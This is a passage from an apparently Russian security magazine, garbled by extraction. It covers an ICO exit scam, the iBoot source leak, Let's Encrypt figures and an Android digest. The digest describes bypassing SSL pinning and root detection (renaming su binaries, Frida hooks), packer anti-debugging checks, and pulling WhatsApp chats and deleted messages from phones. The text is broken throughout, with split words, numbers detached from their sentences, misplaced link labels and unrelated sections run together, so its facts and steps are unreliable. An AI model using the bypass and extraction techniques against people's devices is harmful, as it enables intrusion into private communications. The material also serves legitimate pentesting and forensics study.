круп ную при быль, которая дол жна была толь ко воз растать каж дый месяц.

Поль зовате ли Reddit  ,  что  про ект  выг лядит  край не  подоз‐ 
ритель но. Как выяс нилось, о  коман де раз работ чиков и самом «проп риетар‐ 
ном алго рит ме» не было извес тно прак тичес ки ничего, и ICO мог ло ока зать ся
прос тым мошен ничес твом. Но, к сожале нию, нем ногие прис лушались к это му
пре дуп режде нию.

пре дуп режда ли

ICO  про екта  стар товало  еще  в  янва ре  2018  года,  но  коман да  LoopX
исчезла, соб рав со сво их инвесто ров 276,21 Bitcoin (BTC) и 2446,70 Ethereum
(ETH). То есть на про даже токенов LoopX Coin  (LPX) мошен ники зарабо тали
око ло 4,5 мил лиона дол ларов.

Осо бен но  иро нич но,  что  за  неделю  до  инци ден та  всем  поль зовате лям
были разос ланы элек трон ные пись ма, в которых раз работ чики в ско ром вре‐ 
мени обе щали инвесто рам некий «сюр приз».

Су дя по сооб щени ям поль зовате лей, опуб ликован ным на Reddit, и обсужде‐ 
нию слу чив шегося на форуме BitcoinTalk, некото рые пос тра дав шие уже обра‐ 
тились  в  пра воох ранитель ные  орга ны,  а  так же  поль зовате ли  собира ются
подать в суд кол лектив ный иск.

Увы,  это  далеко  не  пер вое  ICO,  завер шивше еся  столь  пла чев ным  обра‐ 
зом.  К  при меру,  недав но  такой же фаль шив кой  ока зал ся  литов ский  стар тап
Prodeum, ICO которо го стар товало 20 янва ря 2018 года и дол жно было длить‐ 
ся  до  середи ны  мар та.  Дан ный  про ект  соб рал  нес коль ко  сотен  дол ларов
вмес то  зап ланиро ван ных шес ти  мил лионов  и  тоже  исчез  (впро чем,  по  дан‐ 
ным  ICOWatchlist,  мошен ники  все  же  были  более  успешны  и  похити ли  око‐ 
ло 500 тысяч дол ларов). В ито ге там, где еще недав но раз мещал ся сайт «пер‐ 
спек тивно го  блок чейн‐про екта»,  оста лась  лишь  пус тая  белая  стра ница
с одним‐единс твен ным сло вом: penis.

→«У меня было семь бит кой нов, но их похити ли мошен ники. Нек то купил их у меня в онлай не,
рас пла тив шись кре дит ной кар той, а затем прос то отме нил пла теж. Вот так прос то! Они исполь‐ 
зовали номер ворован ной кре дит ной кар ты, так что вер нуть средс тва невоз можно»
—   рас ска зал в интервью The Economic Times, как он не стал крип томил лиар деромСтив Воз няк

ЗАГРУЗЧИК IPHONE
СЛИЛИ НА GITHUB
Не кий ано ним опуб ликовал на GitHub исходные коды заг рузчи ка iBoot, одной
из  клю чевых  сос тавля ющих  устрой ств  Apple,  которая  отве чает  за  про цесс
доверен ной заг рузки ОС. Фак тичес ки имен но iBoot стар тует одним из пер вых
пос ле вклю чения устрой ства (рань ше стар тует толь ко Boot ROM), он находит
и верифи циру ет ядро, про веряя, име ет ли оно необ ходимые под писи Apple,
а затем переда ет ему управле ние или перек люча ет девайс в режим вос ста‐ 
нов ления.

Так  как  про исхожде ние  дан ных  исходных  кодов  —  загад ка,  сна чала
о  легитим ности  iBoot  говори ли  с  осто рож ностью.  Сам  ано ним ный  источник
утвер ждал, что исходни ки отно сят ся к релизу iOS 9.3.x, но отме чал, что боль‐ 
шая  часть  кода,  ско рее все го, исполь зует ся и  в  iOS 11. Неиз вес тный писал,
что ском пилиро вать код не вый дет из‐за недос тающих фай лов, но пред ложил
ИБ‐спе циалис там  и  энту зиас там  изу чить  iBoot  на  пред мет  уяз вимос тей.
Впро чем, наибо лее све жие iOS‐устрой ства дол жен допол нитель но защищать
Secure Enclave.

Сто ит ска зать, что ком пания Apple в целом пуб лику ет исходные коды сво их
про дук тов с боль шой неохо той, а исходный код iBoot тем более явля ется зак‐ 
рытым и  тща тель но обе рега ется.  Так,  даже  самая  круп ная  вып лата  по офи‐ 
циаль ной,  зак рытой bug bounty прог рамме Apple  (200  тысяч дол ларов) пре‐ 
дус мотре на имен но за обна руже ние уяз вимос тей в про цес се началь ной заг‐ 
рузки.

В  ито ге  спус тя  все го  день  репози торий  с  исходны ми  кодами  iBoot  был
уда лен с GitHub по  тре бова нию Apple. Пред ста вите ли ком пании опе ратив но
подали  жалобу  о  наруше нии  DMCA  (Digital  Millennium  Copyright  Act,  «Закон
об  автор ском пра ве  в  циф ровую  эпо ху»),  пос ле  чего  адми нис тра ция GitHub
пос пешила уда лить спор ный кон тент. Инте рес но, что таким обра зом пред ста‐ 
вите ли Apple кос венно под твер дили легитим ность дан ной утеч ки. 
За тем  пред ста вите ли  Apple  офи циаль но  про ком менти рова ли  ситу ацию
и пос пешили успо коить поль зовате лей:

«Судя по  все му,  утеч ка  зат ронула  ста рые исходные  коды  трех летней
дав ности, но струк тура безопас ности наших про дук тов такова, что она
не  полага ется  на  сек ретность  исходно го  кода.  В  наших  решени ях
реали зова но  мно жес тво  аппа рат ных  и  прог рам мных  сло ев  безопас- 
ности, и мы всег да при зыва ем наших поль зовате лей обновлять ПО до
новей ших  вер сий  и  исполь зовать  пре иму щес тва  самых  акту аль ных
средств защиты».

 АКТИВНЫХ СЕР ТИФИКА ТОВ УЖЕ ВЫДАЛ
LET’S ENCRYPT
50 000 000

→Опе рато ры  неком мерчес кого  удос товеря юще го  цен тра  Let’s  Encrypt  пох васта лись  новым
дос тижени ем.

Бес плат ные сер тифика ты, получить которые может любой жела ющий, были выданы уже более
 раз и теперь охва тыва ют поряд ка   доменов.50 мил лионов 66 мил лионов

Сог ласно  ста тис тике  NetTrack,  в  нас тоящее  вре мя  сер тифика ты  Let’s  Encrypt  исполь зуют ся
на    всех  HTTPS‐сай тов  в  интерне те.  Сто ит  отме тить,  что  еще  три  месяца  назад  этот
показа тель сос тавлял  .

42,6%
36%

По дан ным сер виса Firefox Telemetry, общая доля зап росов стра ниц по HTTPS в нас тоящее вре‐ 
мя дос тига ет  .69,6%

https://www.exploit-db.com/exploits/43968/
https://github.com/quitten/wordpress
https://github.com/Quitten/WordPress/blob/master/wp-dos-patch.sh
https://www.reddit.com/r/CryptoCurrency/comments/7p5lzg/discussion_loopx_a_scam_ico/
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Се год ня  в  выпус ке:  отсле жива ние  смар тфо на  с  вык лючен‐ 
ным GPS, взлом прод винуто го упа ков щика Qihoo, вос ста нов‐ 
ление  исто рии  перепис ки  и  уда лен ных  сооб щений  What‐
sApp, модифи кация при ложе ний в ран тай ме. А так же: советы
по исполь зованию шиф рования в сво их при ложе ниях, обзор
биб лиоте ки  Android  KTX,  спо собы  рас позна вания  отпе чат‐ 
ков,  лица  и  голоса  и,  конеч но  же,  под борка  све жих  биб‐ 
лиотек.

ИНСТРУМЕНТЫ

  —  инс тру мент  для  авто мати зиро ван ного  ста тичес кого  ана лиза
при ложе ний для Android; ищет захар дко жен ные API‐клю чи, API‐эндпой нты,
клю чи шиф рования и ошиб ки;

• StaCoAn

 — не новая, но весь ма инте рес ная биб лиоте ка для переда чи дан ных
(про токол TCP) с помощью зву ка;

• Quiet

 — jailbreak для iOS 11.0–11.1.2;• Electra
 — инс тру мент для поис ка уяз вимых вер сий биб лиотек в при ложе‐ 

нии (может работать с обфусци рован ным кодом).
• LibScout

ПОЧИТАТЬ

От сле жива ние смар тфо на с вык лючен ным GPS
  —  иссле дова ние,  пос‐ 

вящен ное  отсле жива нию  переме щений  смар тфо на  (и  его  вла дель ца)
без исполь зования GPS, геоло кации по базовым стан циям и точ кам дос тупа
Wi‐Fi.  Вмес то  это го  иссле дова тели  из Инсти тута  инже неров  элек тро тех ники
и  элек тро ники  исполь зовали  аксе леро метр,  гирос коп,  барометр  и  ком пас,
которые поз волили отсле дить мар шрут переме щений с точ ностью GPS.

PinMe:  Tracking  a  Smartphone  User  around  the  World

Суть метода в сле дующем. На смар тфон уста нав лива ется при ложе ние Pin‐
Me.  В  момент  запус ка  оно  получа ет  информа цию  о  пос леднем  IP‐адре се
смар тфо на  и  таким  обра зом  опре деля ет  его  приб лизитель ное  мес тополо‐ 
жение.  Затем  начина ется  сбор  информа ции  с  дат чиков,  который  поз воля ет
опре делить ско рость дви жения, пери одич ность оста новок и высоту над уров‐ 
нем моря. Эта  информа ция  исполь зует ся  для опре деле ния  спо соба  перед‐ 
вижения  (ходь ба,  авто мобиль,  общес твен ный  тран спорт,  самолет)
с помощью ней росети. Дру гая ней росеть исполь зует ся для опре деле ния точ‐ 
ного  мес тополо жения  по  кос венным  приз накам,  таким  как  высота,  рас‐ 
писание рей сов и дру гие дан ные.

Ре зуль тат  ока зал ся  весь ма  впе чат ляющим.  Иссле дова телям  уда лось
добить ся точ ности, сопос тавимой с GPS. Одна ко есть и огра ниче ния: PinMe
не будет работать в лесу и дру гих мес тах,  где нет дорог, он пло хо работа ет
в плос кой негорис той мес тнос ти с похожей тополо гией улиц (нап ример, Ман‐ 
хэттен с его квад ратны ми ули цами). Так же PinMe не сра бота ет, если на смар‐ 
тфо не акти виро ван Tor‐тун нель  (IP‐адрес отправ ной  точ ки будет неп равиль‐ 
ным).

Чер ным отме чен мар шрут, пос тро енный с исполь зовани ем GPS, жел тым
и зеленым — при помощи PinMe

Пен тест для нович ков
 — осно вы  пен теста  для  начина‐ 

ющих. Статья доволь но сум бурно написа на, но из нее мож но вынес ти мно гие
инте рес ные вещи. Нап ример:

A Virgil’s Guide  to Pentest: Operation Android

два  глав ных инс тру мен та —  jadx‐gui  (деком пилятор)  и  apktool  (поз воля ет
разоб рать APK и соб рать его обратно);

•

са мый прос той спо соб обой ти SSL pinning —  ;• Android‐SSL‐TrustKiller
са мый удоб ный инс тру мент авто мати чес кого поис ка уяз вимос тей — 
;

• Droz‐
er
зна чения  ,    и 

  в  эму лято ре  сто ит  изме нить.  Некото рые  при ложе ния
исполь зуют их для иден тифика ции эму лиру емой сре ды;

• ro.build.version.release ro.product.model ro.

product.brand

ес ли  в  эму лято ре есть  root‐дос туп и  при ложе ние отка зыва ется работать,
прос то  пере име нуй  фай лы    (

) и  .

•
/system/app/SuperUser.apk SuperSU.

apk /system/bin/su

Ана лиз при ложе ния, защищен ного упа ков щиком Qihoo
  —  ана лиз  при ложе ния,

защищен ного  с  помощью  упа ков щика Qihoo.  В  статье  при веде но  огромное
количес тво деталей, оста новим ся на некото рых из них.

Dissecting  mobile  native  code  packers.  A  case  study

1. DEX‐файл  при ложе ния  весит  боль ше  четырех  мегабайт,  одна ко  при  его
ана лизе  ста новит ся  ясно,  что  там  прос то  нет  столь ко  кода:  все,  что  он
дела ет, — это переда ет управле ние натив ной биб лиоте ке. Так про исхо дит
потому,  что  боль шую  часть  фай ла  занима ет  дописан ный  в  его  конец
зашиф рован ный фраг мент.

2. Заг ружен ная  натив ная  биб лиоте ка  выпол няет  нес коль ко  про верок  на  то,
не работа ет ли она под отладчи ком, а затем рас шифро выва ет и заг ружа ет
в  память  вто рую биб лиоте ку.  Кро ме про верок на при сутс твие отладчи ка,
биб лиоте ка  так же  исполь зует  дру гой  метод  защиты  —  вир туаль ную
машину, которая исполня ет байт‐код вмес то натив ного кода ARM.

3. Вто рая натив ная биб лиоте ка — это заг рузчик DEX‐фай лов. Он извле кает
из  кон ца  ори гиналь ного  DEX‐фай ла  зашиф рован ный  фраг мент,  рас‐ 
шифро выва ет  его,  под готав лива ет  ран тайм  для  исполне ния,  а  затем
переда ет ему управле ние.

Ис поль зуемые тех ники защиты от дебаг гинга:
чте ние  фай ла    и  про вер ка,  что  зна чение  TracerPid
рав но нулю;

• /proc/self/status

чте ние  бинар ного  фай ла  лин кера  ( )  и  про вер ка
пер вого  бай та  фун кции    (если  отладчик  не  под клю‐ 
чен — эта фун кция будет пус той заг лушкой);

• /system/bin/linker

rtld_db_activity

мо нито ринг фай ла   всех про цес сов (к которым есть
дос туп)  в  поис ках  опре делен ных  строк  (android_server,  gdb,  gdbserver
и дру гих);

• /proc/PID/cmdline

про вер ка  фай ла    на  содер жание  стро ки 
 (это озна чает, что к устрой ству под клю чен IDA);

• /proc/net/tcp 00000000:

23946

мо нито ринг  фай лов    и  ,  что бы
узнать, что никакое дру гое при ложе ние не про чита ло их.

• /proc/self/mem /proc/self/pagemap

Вос ста нов ление исто рии перепис ки WhatsApp

 — прос тая, но в ряде момен тов
инте рес ная  статья  о  том,  как  извлечь  исто рию  перепис ки  WhatsApp  из  An‐
droid‐смар тфо на. Три основных метода:

WhatsApp Forensics: Decryption of Encrypted Databases and Extraction of Delet‐
ed Messages on Non‐Rooted Android Devices

1. Сде лать  бэкап  перепис ки  с  помощью  самого  WhatsApp.  Бэкап  будет
зашиф рован, и авто ры не рас ска зыва ют, как извлечь ключ, зато обе щают
выпус тить фир менную ути литу для авто мати чес кого дам па бэкапа.

2. По лучить  пра ва  root  и  ско пиро вать  базу  дан ных WhatsApp  из  при ват ного
катало га  (файл  ).  Она  не  зашиф рована,  поэто му  ее  лег ко
прос мотреть с помощью любого SQLite‐вьюера.

msgstore.db

3. Сде лать бэкап средс тва ми Android. Некото рые про изво дите ли добав ляют
в  свои  смар тфо ны  фун кцию  бэкапа,  и  мно гие  из  них  даже  не  заботят ся
о  том,  что бы  его  зашиф ровать.  На  при мере  смар тфо на  ком пании  Oppo
авто ры дела ют бэкап дан ных уста нов ленных при ложе ний, а затем без вся‐ 
ких проб лем извле кают из него дан ные WhatsApp (вклю чая  ).msgstore.db

В качес тве бонуса авто ры рас ска зыва ют,  как  в ряде слу чаев мож но вос ста‐ 
новить  уда лен ные  сооб щения.  Дело  в  том,  что  перед  записью  сооб щения
в базу дан ных WhatsApp сна чала пишет его в  кеш  (файл  ),
а затем перено сит в  . При уда лении сооб щения оно будет уда‐ 
лено из основной базы, но иног да может остать ся в  кеше, отку да его лег ко
извлечь.

msgstore.db‐wal
msgstore.db

Уда лен ное сооб щение, оставше еся в кеше

Ран тайм‑модифи кация при ложе ний
  —  статья  с  опи сани ем  тех ник,  изме‐ 

няющих поведе ние при ложе ний Android и  iOS, на при мере обхо да про верок
наличия прав root на устрой стве. Итак, три раз ные тех ники:

Mobile  Application  Hacking  Diary  Ep.2

1.   Деком пилиру ем при ложе ние с помощью 
(автор  рекомен дует  исполь зовать  имен но  его  из‐за  наличия  сра зу  нес‐ 
коль ких  движ ков  деком пиляции  в  ком плек те).  Находим  нуж ный  учас ток
кода,  дизас сем бли руем  при ложе ние  с  помощью apktool,  находим  тот же
учас ток  кода  и  изме няем  воз вра щаемое  им  зна чение  (нап ример,  true
на false). Собира ем обратно и уста нав лива ем.

Из менение кода. Bytecode Viewer

2.   Рас паковы ваем при ложе‐ 
ние с помощью apktool, изме няем зна чение поля 
в AndroidManifest.xml на true, запако выва ем обратно. Под клю чаем ся к при‐ 
ложе нию с помощью отладчи ка   и выпол няем трас сиров ку в поис‐ 
ках нуж ного нам метода. Затем под клю чаем ся к при ложе нию с помощью
jdb, ста вим брейк‐пой нт на нуж ный метод и изме няем воз вра щаемое им
зна чение.

Из менение кода на лету с помощью отладчи ка.
android:debuggable

AndBug

3.   Инс тру мент 
  поз воля ет  выпол нить  трас сиров ку  и  внед рить  свой  код  в  любое  при‐ 

ложе ние  на  смар тфо не.  В  при мере  автор  исполь зует    для  поис ка
нуж ного метода, а затем при водит при мер скрип та, который находит этот
метод и изме няет воз вра щаемое им зна чение. Одна ко в боль шинс тве слу‐ 
чаев тебе даже не при дет ся самому писать скрип ты. В репози тории 

 мож но най ти мно жес тво уже готовых.

Ав томати чес кое изме нение кода на лету с помощью Frida. Fri‐
da

скрипт

Frida
CodeShare

Кас томный Project Treble
 —

занят ная статья о  том,  как раз работ чику с форумов XDA Developers  уда лось
пор тировать фрей мворк Treble на Xiaomi Redmi Note 4.

Developer Brings Full Project Treble Compatibility  to  the Xiaomi Redmi Note 4

На пом ню, что ини циати ва Treble пред полага ет пол ностью реор ганизо вать
низ коуров невые  ком понен ты  Android,  ответс твен ные  за  под дер жку  железа.
Начиная  с  вось мой  вер сии  Android  раз делен  на  две  час ти,  которые  рас‐ 
полага ются  в  раз ных  раз делах:    и  .  Пер вый  содер жит  исклю‐ 
читель но код, завися щий от железа: драй веры и ком понен ты HAL. Вто рой —
это сам Android. Меж ду собой эти час ти свя зыва ются с помощью сооб щений
и никог да не вызыва ют друг дру га нап рямую.

vendor system

Идея  здесь  в  том,  что  новые  вер сии  ОС,  выпущен ные  пос ле  Android  8,
будут пол ностью сов мести мы с vendor‐ком понен тами от пре дыду щих вер сий,
таким обра зом сам про цесс пор тирова ния про шив ки сущес твен но упростит‐ 
ся  (на  самом  деле  Google  даже  выпус кает  сбор ку  Android  под  наз вани ем
Generic System Image, ее мож но про шить на любой смар тфон с под дер жкой
Treble, и она зарабо тает). Проб лема в том, что тре бова ние под держи вать Tre‐
ble рас простра няет ся толь ко на смар тфо ны, изна чаль но работа ющие на An‐
droid 8, и ее вряд ли получат устрой ства, выпущен ные с Android 6 или 7 и лишь
затем обновлен ные до вось мой вер сии.

Раз работ чик abhishek987 обо шел эту проб лему. Он пор тировал ком понен‐ 
ты  Treble  на  Xiaomi  Redmi  Note  4,  исполь зовав  раз дел  cust,  нуж ный  MIUI
для хра нения информа ции об устрой стве, в качес тве раз дела vendor.

Под дер жка Treble на Xiaomi Redmi Note 4

РАЗРАБОТЧИКУ

Со веты по исполь зованию шиф рования
 — статья с набором быс трых советов

о том, что надо и что не надо делать при исполь зовании шиф рования в An‐
droid. Крат кая выжим ка:

Basic Android Encryption Do’s and Don’ts

  По  умол чанию  Android  (и  Java)
при  шиф ровании  по  алго рит му  AES  при меня ет  режим  ECB.  Проб лема
режима  ECB  в  том,  что  он  может    зашиф рован ной
информа ции. Вмес то него сле дует исполь зовать режимы CBC и GCM:

Не  исполь зуй  AES  в  режиме  ECB.

рас крыть  под робнос ти

// Как надо делать
Cipher.getInstance("AES/GCM/NOPADDING");
// Как не надо делать
Cipher.getInstance("AES");

Всег да исполь зуй слу чай ный IV:

// Как надо делать
SecureRandom secureRandom = new SecureRandom();
byte[] iv = new byte[IV_LENGTH];    
secureRandom.nextBytes(iv);    
myCipher.init(Cipher.ENCRYPT_MODE, key, new IvParameterSpec(iv));
// Как не надо делать
myCipher.init(Cipher.ENCRYPT_MODE, key);
byte[] iv = myCipher.getIV();

  Ты
можешь  забыть  очис тить  мас сив,  содер жащий  ключ,  и  взлом щик  вос поль‐ 
зует ся этим, что бы извлечь ключ нап рямую из опе ратив ной памяти:

За пол няй  важ ные  мас сивы  нулями  пос ле  исполь зования.

byte[] decrypt(byte[] dataToDecrypt, byte[] secretKey) {
   // Расшифровываем данные
   ...
   // Очищаем ключ
   Arrays.fill(secretKey, (byte) 0);
   return decryptedData;
}

Рас позна вание паль цев, лица и голоса
 — статья с нем ного неумес тным наз‐ 

вани ем о том, как исполь зовать рас позна вание паль цев, лица и голоса в сво‐ 
их при ложе ниях. Никаких откро вений, все прос то:

How to secure your Android application?

  Воп реки  рас хожему  мне нию,  при ложе ние,  зап‐ 
рашива ющее твой отпе чаток паль ца, на самом деле никог да его не уви дит
и не смо жет отпра вить на  уда лен ный сер вер. Отпе чат ки паль цев  (в  виде
матема тичес кой модели) хра нят ся в security‐соп роцес соре (TTE), получить
дос туп  к  которо му может  толь ко ОС. Раз работ чику  при ложе ний оста ется
толь ко  сде лать  зап рос  отпе чат ков  и  получить  ответ  (в  кол бэке)  о  сов‐ 
падении или несов падении:

• От печат ки  паль цев.

val fmanager = FingerprintManagerCompat.from(getApplicationContext())
fmanager.authenticate(cryptoObject, 0, cancellationSignal, authen
ticationCallback, null)

•  Здесь у раз работ чика два пути: либо исполь зовать
биб лиоте ку  , пред назна чен ную для реал тайм‐рас позна вания объ‐ 
ектов на изоб ражении (вни мание: это не ней росеть), либо вос поль зовать‐ 
ся услу гами   и  . Проб лема пос ледне го вари анта в том, что
сер висы MS и Google плат ные и тре буют пос тоян ного под клю чения к сети.

Рас позна вание лиц.

OpenCV

Microsoft Google

•   Три  наб людения:  1)  Google  Assistant  уме ет
опре делять челове ка по голосу; 2) в ран них вер сиях Android 5.0 была фун‐ 
кция Trusted Voice, которая поз воляла раз бло киро вать смар тфон голосом;
3)  Google  не  пре дос тавля ет  сто рон ним  раз работ чикам  никаких  API
для рас позна вания голоса. Фак тичес ки вари ант толь ко один: 

.

Рас позна вание  голоса.

плат ные сер‐ 
висы MS

Изу чаем Android KTX
 ( ) — хорошее вве дение в биб лиоте ку 

,  которую 5 фев раля  анон сирова ла  ком пания Google.  Android KTX  пред‐ 
став ляет собой набор фун кций и клас сов, спо соб ных сущес твен но упростить
раз работ ку  для  Android  на  Kotlin.  Вот  лишь  некото рые  (не  буду  скры вать,
наибо лее соч ные) при меры:

Exploring KTX for Android пе ревод Android
KTX

// Модификация настроек
sharedPreferences.edit { 
   putBoolean(key, value) 
}
// Работа с временем и датами
val day = DayOfWeek.FRIDAY.asInt()
val (seconds, nanoseconds) = Instant.now()
val (hour, minute, second, nanosecond) = LocalTime.now()
val (years, month, days) = Period.ofDays(2)
// Создание бандлов
val bundle = bundleOf("some_key" to 12, "another_key" to 15)
// Работа с AtomicFile
val fileBytes = atomicFile.readBytes()
val text = atomicFile.readText(charset = Charset.defaultCharset())
atomicFile.writeBytes(byteArrayOf())
atomicFile.writeText("some string", charset = Charset.defaultCharset
())
// SpannableString
val builder = SpannableStringBuilder(urlString)        
   .bold { italic { underline { append("hi there") } } }
// Трансформация строки в URI
val uri = urlString.toUri()
// Работа с Drawable и Bitmap
val bitmap = drawable.toBitmap(width = someWidth, height = someHeight
, config = bitMapConfig)
val bitmap = someBitmap.scale(width, height, filter = true)
// Операции над объектом View
view.postDelayed(delayInMillis = 200) {
   // some action
}
view.postOnAnimationDelayed(delayInMillis = 200) {
   // some action
}
view.setPadding(16)
val bitmap = view.toBitmap(config = bitmapConfig)
// ViewGroup
viewGroup.forEach { doSomethingWithChild(it) }
val view = viewGroup[0]

Ав томати зация получе ния скрин шотов
 — статья о том, как авто мати зиро вать получе‐ 

ние  «чис тых»  скрин шотов  для  Google  Play  с  помощью  ути литы 
и  скрип та,  который  перево дит  смар тфон  в  деморе жим,  поз воля ющий  в  том
чис ле  нас тро ить  стро ку  сос тояния.  Сам  скрипт  мож но  ска чать  ,  а  вот
самая вкус ная часть — вклю чение/отклю чение деморе жима:

Automate your app screenshots
screengrab

здесь

function start_clean_status_bar {
   # Включаем деморежим
   adb shell settings put global sysui_demo_allowed 1
   # Показываем время 12:00
   adb shell am broadcast ‐a com.android.systemui.demo ‐e command 
clock ‐e hhmm 1200
   # Показываем иконки мобильной и Wi‐Fi‐сетей без дополнительных 
значков
   adb shell am broadcast ‐a com.android.systemui.demo ‐e command 
network ‐e mobile show ‐e level 4 ‐e datatype false
   adb shell am broadcast ‐a com.android.systemui.demo ‐e command 
network ‐e wifi show ‐e level 4 ‐e fully true
   # Скрываем все уведомления
   adb shell am broadcast ‐a com.android.systemui.demo ‐e command 
notifications ‐e visible false
   # Показываем полный заряд батареи
   adb shell am broadcast ‐a com.android.systemui.demo ‐e command 
battery ‐e plugged false ‐e level 100
}
function stop_clean_status_bar {
   adb shell am broadcast ‐a com.android.systemui.demo ‐e command 
exit
}

Биб лиоте ки
 — спи сок механиз мов  энер госбе реже ния  раз ных

смар тфо нов  и  интенты,  поз воля ющие открыть  их  нас трой ки  (что бы поль‐ 
зователь мог добавить при ложе ние в спи сок исклю чений);

• backgroundable‐android

 — мно жес тво раз личных при меров кода на Kotlin;• kotlin‐android‐examples
 — набор ути лит на все слу чаи жиз ни (диало говые окна, работа

с изоб ражени ями, фай лами, буфером обме на и мно гое дру гое);
• RichUtilsKt

 — кра сивый ани миро ван ный ActionBar;• AwesomeBar
 — эффек тный ани миро ван ный слай дер;• Fluid Slider

 — биб лиоте ка для показа сооб щений в вер хней час ти экра на;• Sneaker
 — диалог выбора цве та;• ColorPickerPreference

 — прос тая в исполь зовании биб лиоте ка для работы с виде‐ 
ока мерой;

• Videoapparat

  —  инди катор  горизон таль ной  прок рутки  в  виде
точек;

• ScrollingPagerIndicator

  —  прос тая  в  исполь зовании  биб лиоте ка  для  аутен‐ 
тифика ции по отпе чат ку паль ца;

• Android‐Goldfinger

 — порт биб лиоте ки для соз дания форм на Kotlin;• KFormMaster
 — удоб ная в исполь зовании биб лиоте ка для работы SharedPrefer‐

ences из Kotlin;
• Prefekt

 — биб лиоте ка для обме на сооб щени ями меж ду Java и JavaScript,
который исполня ется внут ри WebView;

• Scripto

 — аль тер натив ная реали зация снек бара (snackbar) с воз можностью
кас томиза ции.

• Light
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За  пос ледний  год  от  крип товалют  ста ло
бук валь но некуда девать ся: лихорад ка май‐ 
нин га  зах ватила  умы,  Bitcoin  рос  как  на
дрож жах  и  был  дваж ды  фор кнут,  а  новые
аль ткой ны  появ лялись  чуть  ли  не  каж дый
день.  Все  это  соп ровож далось  метани ями
пра витель ств, которые не зна ют, зап рещать
или регули ровать, и новос тями о дей стви ях
мошен ников,  которым  уда валось  уво дить
мил лионы  из‐под  носа  инвесто ров.  Сре ди
все го это го безумия одна тен денция кажет‐ 
ся  наибо лее  инте рес ной —  это  Initial  Coin
Offering, или ICO.

ICOНОМИКА
Ес ли  ты  смот рел  «Вол ка  с  Уолл‐стрит»,  то  пом нишь,  что  в  какой‐то момент,
что бы  сру бить  нор маль но  баб ла,  герою  Ди  Кап рио  и  товари щам  понадо‐ 
билось вывес ти руч ную ком панию на  IPO. Суть вывода час тной акци онер ной
ком пании  в  пуб личное  поле  (то  есть  на  бир жу)  —  в  прив лечении  средств.
Пос ле про веде ния IPO инвесто ры получа ют акции, ста новясь сов ладель цами
биз неса, а ком пания уве личи вает вли яние на рын ке и раз вива ет инфраструк‐ 
туру. В крип товалют ном мире мес то IPO занял ICO.

Сов ремен ные  стар тапы  могут  сту чать ся  в  две ри  вен чурных  фон дов,
молить ся  на  биз нес‐анге лов,  собирать  с  миру  по  нит ке  на  кра удфандин ге
или же мах нуть на все это рукой и выпус тить свои токены. По сути, получа ется
кра удфандинг на блок чей не.

Ор ганиза торы пишут  смарт‐кон тракт  (нап ример,  на Solidity — язы ке  кон‐ 
трак тов  Ethereum),  в  соот ветс твии  с  которым  инвесто ры  получа ют  токены
в  обмен  на  свои  день ги.  Цена  токена  при  этом  не  зависит  от  блок чей на,
на  котором  он  выпущен.  В  обоз начен ное  вре мя  инвесто ры  смо гут  про дать
токены на спе циаль ных бир жах, вер нув свои вло жения. Или даже мно гок ратно
при умно жив.

INFO

Сей час  рас простра нены  Ethereum‐токены  —
это  циф ровые  средс тва,  которые  соз дают ся
поверх блок чей на Ethereum. Они  уси лива ют эко‐ 
сис тему  Ethereum,  повышая  спрос  на  ETH
(«эфир»)  —  ори гиналь ную  валюту  Ethereum,
которая  необ ходима  для  работы  смарт‐кон трак‐ 
тов. Токен так же мож но соз дать поверх блок чей‐ 
нов BitShares, Bitcoin, Ripple, NEM и дру гих.

При обре тя  токены,  вклад чики  ждут  «часа  икс»  —  начала  тор гов  их  акти вов
на спе циаль ных бир жах. Пред положим, лис тинг на бир жах про ходит по рас‐ 
писанию, в про ект про дол жают верить и при под дер жке бир жевых спе кулян‐ 
тов  уже  на  стар те  тор гов  инвестор  получа ет  десятик ратную  при быль.  Тог да
перед  ним  будет  сто ять  выбор:  про дать  токены  или,  нап ротив,  оста вить  их
в  пор тфе ле.  Ведь  если  стар тап  на  блок чей не  будет  раз вивать ся  по  сво ей
«дорож ной кар те», то даль ше его токены будут тор говать ся толь ко дороже.

Увы,  так  быва ет  не  всег да.  В  нынеш нем  виде  ICO  —  это  далеко
не  футурис тичная  сказ ка  о  все общем  богатс тве  и  счастье.  Жес ткий  мир
победи телей  и  про игравших  в  мире  крип товалют  все  так  же  (а  то  и  более)
жес ток. Ком пания может исчезнуть сра зу пос ле ICO, под вер гнуть ся хакер ской
ата ке (или пос тарать ся убе дить в этом сооб щес тво), про играть дру гому стар‐ 
тапу  с  близ кой  иде ей,  вне зап но  зак рыть ся  под  дав лени ем мес тных  влас тей
(или  убе дить  в  этом  сооб щес тво),  раз вивать ся  очень  мед ленно  или  не  так,
как  дек лариро валось  в  «белой  бумаге»…  Наконец,  прос то  не  взле теть,
потому что «не смог ла», как та лошадь из анек дота про скач ки.

Тем  не  менее,  сог ласно  жур налу  Forbes,  в  прош лом  году  в  рам ках  ICO
было соб рано более 2,3 мил лиар да дол ларов. Пре сей лы и кра удсей лы про‐ 
ходят  каж дый  день,  и  неред ко  мил лионы  «зеленых  пре зиден тов»  вкла дыва‐ 
ются  в  тех нологию,  которую  вооб ще  мало  кто  понима ет,  осо бен но  за  пре‐ 
дела ми крип тосо общес тва. Огромное количес тво ска ма,  учас тие в  ICO зна‐ 
мени тос тей вро де Пэрис Хил тон или недоби тых бок серов и в целом пос тоян‐ 
ный  ажи отаж  вок руг  самой  темы  крип товалют  порож дают  раз говоры
о «пирами дах», «мыль ном пузыре» и кон спи роло гичес кие теории.

При  этом  боль шое  чис ло  недоб росовес тных  игро ков  не  дол жно  вво дить
тебя  в  заб лужде ние.  В  теории,  ICO  —  замеча тель ная  тех нология,  которая
отда ет финан совые механиз мы непос редс твен но  в  руки  людям и  поз воля ет
финан сировать  то,  на  что  есть  спрос,  нап рямую  —  без  пред варитель ного
бла гос ловения со сто роны дядек в пид жаках с дип ломами прес тижных вузов.
Сов ладель цем чего‐то нового и пер спек тивно го  теперь может стать любой,
это ли не прек расно?

Крат кий сло варь тер минов
 

 —  пред варитель ная  про дажа  токена  для  учас тни ков
из «белого спис ка».

• Pre-ICO,  пре сейл

 — механизм прив‐ 
лечения  средств,  по  усло виям  которо го  будущий  токен  про дает ся
за высоко лик видные крип товалю ты.

• ICO (Initial Coin Offering), кра удсейл, токен сейл

 — все тра дици онные валюты.• Фи ат, фиат ные день ги

 — внут ренняя валюта ком пании, за которую в каж дом кон крет ном
слу чае  инвестор может  получить  раз нооб разные  товары,  услу ги,  бонусы,
пра ва или при виле гии.

• То кен

